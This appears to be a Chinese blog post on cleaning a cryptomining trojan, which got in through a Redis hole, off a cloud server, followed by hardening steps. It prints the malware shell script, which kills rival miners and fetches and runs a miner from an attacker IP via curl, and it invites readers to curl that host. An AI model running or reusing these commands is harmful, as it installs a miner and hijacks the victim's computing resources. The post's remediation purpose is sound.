服務(wù)器被植入挖礦木馬cpu飆升200%的解決過程是什么

背景

線上服務(wù)器用的是某訊云的，歡快的完美運(yùn)行著Tomcat，MySQL，MongoDB，ActiveMQ等程序。突然一則噩耗從前線傳來：網(wǎng)站不能訪問了。

此項(xiàng)目是我負(fù)責(zé)，我以150+的手速立即打開了服務(wù)器，看到Tomcat掛了，然后順其自然的重啟，啟動(dòng)過程中直接被killed，再試試數(shù)據(jù)庫，同樣沒成功，多次嘗試甚至重啟機(jī)器無果。機(jī)制的我打了個(gè)top，出現(xiàn)以下內(nèi)容：

 

這是誰運(yùn)行的程序？不管三七二十一先殺掉再說，因?yàn)樗褪荰omcat等程序啟動(dòng)不了的元兇。然而并沒有什么卵用，過一會(huì)再看那個(gè)東西又跑出來占cpu。懷疑是個(gè)定時(shí)任務(wù)：

 

什么鬼，是個(gè)圖片？立即訪問了一下：

 

好尷尬，但是心思細(xì)膩的我早知道沒這么簡單，肯定只是偽裝，crul過去是下面的腳本，過程就是在挖礦：

#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中間省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

有興趣的同學(xué)想查看以上完整源代碼，命令行運(yùn)行下面指令（不分操作系統(tǒng)，方便安全無污染）：

curl 192.99.142.235:8220/logo3.jpg

既然知道它是個(gè)定時(shí)任務(wù)，那就先取消了它，并且看看它是誰在運(yùn)行：

殺掉，找到存放目錄：

進(jìn)入臨時(shí)目錄：

 

被我發(fā)現(xiàn)配置文件了，先來看看內(nèi)容：

 

虎軀一震，發(fā)現(xiàn)了不少信息啊，user是他的server的登錄用戶，下面是密碼，只可惜加密過，應(yīng)該找不到對(duì)方。算了，大度的我先不和你計(jì)較。干掉這兩個(gè)文件后再查看top：

 

解決辦法

找到寄生的目錄，一般都會(huì)在tmp里，我這個(gè)是在/var/tmp/。首先把crontab干掉，殺掉進(jìn)程，再刪除產(chǎn)生的文件。啟動(dòng)Tomcat等程序，大功告成！

等等，這遠(yuǎn)遠(yuǎn)不夠，考慮到能被拿去挖礦的前提下你的服務(wù)器都已經(jīng)被黑客入侵了，修復(fù)漏洞才對(duì)，不然你殺掉進(jìn)程刪掉文件后，黑客后門進(jìn)來history一敲，都知道你做了啥修復(fù)手段。

所以上面辦法治標(biāo)不治本，我后續(xù)做了以下工作：

• 把所有軟件升級(jí)到新版本，修復(fù) redis 的后門，配置bind選項(xiàng)， 限定可以連接Redis服務(wù)器的IP，并修改redis的默認(rèn)端口6379。配置AUTH， 設(shè)置密碼，密碼會(huì)以明文方式保存在redis配置文件中。

• 修改所有軟件默認(rèn)端口號(hào)

• 打開ssh/authorized_keys，刪除不認(rèn)識(shí)的密鑰

• 刪除用戶列表中陌生的帳號(hào)

• 封了他的ip

• SSH使用密鑰登錄并禁止口令登錄(這個(gè)一般是加運(yùn)維一個(gè)人的秘鑰)

木馬原因，是redis漏洞導(dǎo)致：

最好的方式：將主機(jī)鏡像，找出病毒木馬，分析入侵原因。檢查業(yè)務(wù)程序，重裝系統(tǒng)，修復(fù)漏洞，再重新部署系統(tǒng)。